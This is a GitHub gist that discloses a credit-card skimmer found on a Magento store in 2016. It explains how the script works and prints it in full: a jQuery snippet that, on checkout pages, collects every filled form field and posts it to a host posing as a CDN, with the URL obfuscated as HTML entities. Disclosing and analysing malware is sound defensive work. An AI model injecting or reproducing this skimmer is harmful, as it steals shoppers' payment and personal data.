Skip to content

Instantly share code, notes, and snippets.

@fheyer
Last active November 9, 2016 14:03
Show Gist options
  • Save fheyer/5cbeb2907a9f3c150678 to your computer and use it in GitHub Desktop.
Save fheyer/5cbeb2907a9f3c150678 to your computer and use it in GitHub Desktop.
Magento CC scraper that sends data to cloudfusion.me pretending to be a JS CDN found 2016-03-16
Code first checks for current URL being onepage or checkout.
If checks is positive all input values are sent via POST request to
https://cloudfusion.me/cdn/jquery.min.js
code unaltered below:
<script type="text/javascript">jQuery(function(t){t("button").on("click",function(){q="h="+window.location.href,q.match(/onepage|checkout/gi)&&(t("input, select").each(function(){t(this).val()?q+="&"+t(this).attr("name")+"="+t(this).val():""}),t.post(t("<div />").html("&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#99;&#108;&#111;&#117;&#100;&#102;&#117;&#115;&#105;&#111;&#110;&#46;&#109;&#101;&#47;&#99;&#100;&#110;&#47;&#106;&#113;&#117;&#101;&#114;&#121;&#46;&#109;&#105;&#110;&#46;&#106;&#115;").text(),q))})});</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment